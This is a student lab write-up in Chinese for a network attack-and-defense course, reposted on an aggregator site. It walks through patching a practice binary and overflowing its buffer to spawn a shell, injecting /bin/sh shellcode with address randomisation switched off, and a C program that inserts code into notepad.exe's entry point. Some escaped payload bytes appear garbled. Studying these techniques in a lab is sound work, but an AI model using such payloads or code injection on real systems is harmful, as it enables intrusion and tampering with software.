zoukankan      html  css  js  c++  java
  • 2019-2020-2 20174310《网络对抗技术》 Exp1 PC平台逆向破解

    一、逆向及Bof基础实践说明

    1、实践目标

    本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

    1. 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
    2. 掌握反汇编与十六进制编程器
    3. 正确修改机器指令改变程序执行流程
    4. 正确构造payload进行bof攻击

    1、基础知识

    1)常用指令:
    • 管道(|)
      命令格式:命令A|命令B,即命令1的正确输出作为命令B的操作对象

    • 输入、输出重定向(>):标准输入输出重定向就是为了改变数据流动的方向。很多时候,我们需要从某文件中读取出内容作为输入;或者将结果存到一个文件中。这时,数据输入方向:从文件到程序;数据输出方向:从程序到文件。


    NOP
    :NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)2)NOP, JNE, JE, JMP, CMP汇编指令的机器码
    • JNE:条件转移指令,如果不相等则跳转。(机器码:75)
    • JE:条件转移指令,如果相等则跳转。(机器码:74)
    • JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)
    • CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
    3)反汇编与十六进制编程器
      • 反汇编指令objdump -d <文件名>
        • object dump 项目导出
        • -d disassemble 反汇编
      •   十六进制指令为perl -e 'print "字符/字符串"' > <文件名>
        • %!xxd 进入十六进制编辑模式
        • %!xxd -r 切换回原模式

    二、实验操作及具体步骤

    1、直接修改机器指令,改变程序执行流程

    1.1下载pwn1.zip,在kali中解压,并复制文件pwn2
    1.2反汇编文件objdump -d pwn2
    • 第一列为内存地址,第二列为机器指令、第三列为机器指令对应的汇编语言。
    • call的机器指令为E8为跳转(直接call的机器指令为E8,间接call的机器指令为
    • 执行到call指令,偏移量为d7 ff ff ff(小端),eip的值为80484ba,即下一条指令的地址
    • eip=当前eip的值+相对偏移地址 新eip 为80484ba + d7ffffff = 8048491执行函数
    1.3计算跳转地址并修改机器指令

    改变程序执行 使执行由<foo>改变为<getshell>,所以修改机器指令,使它从指向08048491改为指向0804847d,新偏移量 为 0804847d = 80484ba + 偏移量,计算得偏移量c3 ff ff ff

    • vi pwn2 打开文件后为乱码
    • 输入%!xxd进入十六进制编辑模式,根据/e8d7快速找到需要修改的地址
    • 修改地址 ,将d7改成c3,然后使用:%!xxd -r转回原来乱码格式,:wq保存退出;
    • 反汇编查看机器指令;
    • pwn2运行结果(要将权限改为rwx才能运行)

    2、通过构造输入参数,造成BOF攻击,改变程序执行流

    • 当程序调用时,会形成自己的栈帧,但是foo函数的缓冲区具有Bufferoverflow漏洞,即向这个缓冲区填入超出长度的字符串,多出来的内容会溢出并覆盖相邻的内存,当这段字符串精心设计后,就有可能会覆盖返回地址,使返回地址指向getshell,达到攻击目的。
    • foo函数读入字符串,但系统只预留了28字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址
    • 正常时call调用foo,同时在堆栈上压上返回地址值0x80484ba
    • 2.1确认输入字符串哪几个字符会覆盖到返回地址
    • gdb pwn1调试程序,输入有规律的字符串如1111111122222222333333334444444412345678,发生错误产生溢出
    • info r查看寄存器eip的值,发现输入的12345678被覆盖到堆栈上的返回地址
    • 2.2构造输入字符串
    • 12345678换成getShell的地址0x0804847d
    • 由于数据按小端存储,我们的正确输入为11111111222222223333333344444444x7dx84x04x08
    • 因为我们没法通过键盘输入x7dx84x04x08这样的16进制值,输入perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input生成包括字符串的一个文件(x0a表示回车);
    • 使用16进制查看指令xxd查看input文件的内容,确认无误后用(cat input;cat) | ./pwn1input中的字符串作为可执行文件的输入。
    • 因为在这个过程中修改了栈中ebp的值,所以会出现段错误的情况

    3、注入Shellcode并执行

    • 3.1准备工作
    • 安装execstack
    • 修改设置

    • execstack -s pwn1 //设置堆栈可执行
    • execstack -q pwn1 //查询文件的堆栈是否可执行
    • more /proc/sys/kernel/randomize_va_space //查看地址随机化的状态
    • echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    • 3.2构造要使用的payload

    Linux下有两种基本构造攻击buf的方法:

    • retaddr+nop+shellcode
    • nop+shellcode+retaddr
    • 选择retaddr+nops+shellcode结构来攻击buf,在shellcode前填充nop的机器码90:
    perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
    • 注入:(cat input_shellcode;cat) | ./pwn1

    • 打开一个终端查看执行文件进程号ps -ef | grep pwn1

    • 启用gdb调试进程,attach 32367与进程建立连接
    • 输入指令 disassemble foo 对foo函数进行反汇编。
    • 然后设置断点,来查看注入buf的内存地址。指令为:break *0x080484ae
    • 然后回到刚开始的终端手动回车一下,然后回到调试的终端,输入指令 c 继续。
    • 接下来输入指令info r esp 查看查看栈顶指针所在的位置,并查看改地址存放的数据
    • 发现x4x3x2x1果然出现在栈顶,就是返回地址的位置。shellcode就挨着,所以地址是0xffffd29c+4=0xffffd290
    •  修改代码

    perl -e 'print "A" x 32;print "xa0xd2xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode

    • 实验完成

    四、简单的windows扩展实验

    • 目标:通过手动、C语言代码的方法修改一个exe文件的二进制数据,添加一个简单的4个参数均为0的MessageBox提示框
    • 方法:1.手动:通过16进制编辑器WinHex,在某一个节后面空余的空间,添加call MessageBox的硬编码,并添加jump 原OEP的硬编码,更改OEP指向添加硬编码的初始位置,即可实现。
    • 2.代码:(具体见源代码)
    • 实验环境:在虚拟机windows2000上实现系统自带的notepad.exe的实验
    • 步骤:
    • 1.在WinHex中打开exe文件
    • 不难发现Entry Point(OEP)为0x00006420
    • 根据节表信息找到第一个节与第二个节中间空闲的位置:0x00006BCA处 可以添加这段简单的硬编码:

    • 6A 00 6A 00 6A 00 6A 00//向栈中PUSH 0(压入4个参数0)
    • E8 91 C7 E1 76 //根据od得到MessageBox函数的地址77E23D68,所以 地址 = 77E23D68 - (ImageBase+6BD7-SizeOfHeaders+内存对齐)=76E1 C791‬  ImageBase:0x1000000  SizeOfHeaders:0x600   内存对齐:0x1000
    • E9 44 EE FF FF//jump到原OEP使程序正常执行 地址= 6420-(6BDC-SizeOfHeaders+内存对齐)
    • 将原OEP改为75CA  (6BCA-SizeOfHeaders+内存对齐)
    • 2.修改完成后,将其另存为20174310srq.exe

    •  双击打开exe

       

       点击确定,跳回正确的OEP,显示出正常的记事本

       

       3.代码实现:

    • 复制代码
      // 简单实验.cpp : Defines the entry point for the console application.
      //
      #include "stdafx.h"
      #include <malloc.h>
      #include <string.h>
      #define shellcode_len 0x12
      #define MessageBoxA 0x77e23d68
      int flen;
      int flag = 1;
      char shellcode[] = {
          0x6A,00,0x6A,00,0x6A,00,0x6A,00,
          0xe8,00,00,00,00,
          0xe9,00,00,00,00
      };
      typedef struct PE{
          int e_lfanew;
          short NumberOfSections;
          short SizeOfOptionalHeader;
          int EntryPoint;
          int ImageBase ;
          int SectionAlignment ;
          int SizeOfImage;
          int FileAlignment;
          int SizeOfHeaders;
      }headers;
      
      typedef struct sec{
          int PointerToRawData;
          int SizeOfRawData;
          int VirtualAddress;
          int VirtualSize;
      }section;
      
      headers headers_file;
      section sections;
      char* get_file(){
          FILE* fp;
          char* p;
          fp = fopen("notepad.EXE","rb");
          if(fp == NULL){
              printf("file error");
          }
          fseek(fp,0L,SEEK_END);
          flen = ftell(fp);
          fseek(fp,0L,SEEK_SET);
          p = (char*)malloc(flen);
          fread(p,flen,1,fp);
          fclose(fp);
          return p;
      }
      char get_char_data(char* start,int distance){
          char data = *(start+distance);
          return data;
      }
      short get_short_data(char* start,int distance){
          short data =*(short*) (start+distance);
          return data;
      }
      int get_int_data(char* start,int distance){
          int data =*(int*) (start+distance);
          return data;
      }
      void getInfo(char* start){
          headers_file.e_lfanew = get_int_data(start,60);
          start = start+headers_file.e_lfanew;
          headers_file.NumberOfSections = get_short_data(start,6);
          headers_file.SizeOfOptionalHeader = get_short_data(start,20);
          start = start+24;
          headers_file.EntryPoint = get_int_data(start,16);
          headers_file.ImageBase = get_int_data(start,28);
          headers_file.SectionAlignment = get_int_data(start,32);
          headers_file.SizeOfImage = get_int_data(start,56);
          headers_file.FileAlignment = get_int_data(start,36);
          headers_file.SizeOfHeaders = get_int_data(start,60);
      }
      void addcode(int i,char* start_image){
          if(flag == 0) return;
          else{
              if(sections.SizeOfRawData-sections.VirtualSize<shellcode_len){
                  return;
              }
              else{
                  int point = (int)start_image;
                  flag--;
                  memcpy(start_image+sections.VirtualAddress+sections.VirtualSize,shellcode,shellcode_len);
                  printf("%x
      ",sections.VirtualAddress+sections.VirtualSize);
                  int E8 = (MessageBoxA-(headers_file.ImageBase+sections.VirtualAddress+sections.VirtualSize+0xd));
                  printf("%x",E8);
                  *(int*)(start_image+sections.VirtualAddress+sections.VirtualSize+9) = E8;
                  int E9 = (headers_file.EntryPoint-(sections.VirtualAddress+sections.VirtualSize+0x12));
                  printf("%x
      ",headers_file.EntryPoint);
                  printf("%x",E9);
                  *(int*)(start_image+sections.VirtualAddress+sections.VirtualSize+0xe) = E9;
                  *(int*)(start_image+40+headers_file.e_lfanew) = sections.VirtualAddress+sections.VirtualSize;
                  printf("加码成功");
              }
          }
      }
      char* memcopy_image(char* start_file){
          char* start_image;
          start_image = (char*)malloc(headers_file.SizeOfImage);
          memset(start_image,0,headers_file.SizeOfImage);
          memcpy(start_image,start_file,headers_file.SizeOfHeaders);
          int i;
          char* start_section = start_file+headers_file.e_lfanew+24+headers_file.SizeOfOptionalHeader;
          for(i=0;i<headers_file.NumberOfSections;i++){
              sections.PointerToRawData = get_int_data(start_section,20);
              sections.SizeOfRawData = get_int_data(start_section,16);
              sections.VirtualAddress = get_int_data(start_section,12);
              sections.VirtualSize = get_int_data(start_section,8);
              memcpy(start_image+sections.VirtualAddress,start_file+sections.PointerToRawData,sections.SizeOfRawData);
              addcode(i,start_image);
              start_section = start_section+40;
          }
          return start_image;
      }
      char* memcopy_file(char* start_image){
          char* start_file;
          start_file = (char*)malloc(flen);
          memset(start_file,0,flen); 
          memcpy(start_file,start_image,headers_file.SizeOfHeaders);
          int i; 
          char* start_section = start_image+headers_file.e_lfanew+24+headers_file.SizeOfOptionalHeader;
          for(i=0;i<headers_file.NumberOfSections;i++){
              sections.PointerToRawData = get_int_data(start_section,20);
              sections.SizeOfRawData = get_int_data(start_section,16);
              sections.VirtualAddress = get_int_data(start_section,12);
              memcpy(start_file+sections.PointerToRawData,start_image+sections.VirtualAddress,sections.SizeOfRawData);
              start_section = start_section+40;
          }
          return start_file;
      }
      void copy_file(char* start_file){
          FILE* fp = fopen("20174310srq.exe","wb");
          fwrite(start_file,flen,1,fp);
          fclose(fp);
      }
      int main(int argc, char* argv[])
      {
      
          char* start = get_file();
          getInfo(start);
          char* start_image = memcopy_image(start);
          free(start);
          char* start_file = memcopy_file(start_image);
          copy_file(start_file);
          free(start_file);
          free(start_image);
          return 0;
      }
      复制代码

       

    五、实践总结

    • (一)实验收获
    •         这次实验让我收获很多,因为平时都是在windows系统上做一些逆向的学习,这次实验让我第一次接触到了linux逆向的一些知识,让我收获颇丰。
    • (二)什么是漏洞?漏洞有什么危害?
    •        我认为漏洞是计算机和网络中可以用来进行攻击的各种弱点和缺陷。
    •        漏洞可能导致系统异常或崩溃、信息泄露、网页篡改等,危害个人或组织的财产、隐私、甚至是国家机密,危害人身安全和社会正常运转,影响经济社会发展。
  • 相关阅读:
    用Total Commander for Android管理应用程序
    我的zsh简单设置
    C# Newtonsoft.Json 使用
    Wireshark 抓包 test
    C# 调用API test
    C# 委托 的语法 之一
    C# 对象初始化器 和数组初始化语法
    C 语言 数据类型长度
    vue 使用 test
    test
  • 原文地址:https://www.cnblogs.com/srq111/p/12488417.html
Copyright © 2011-2022 走看看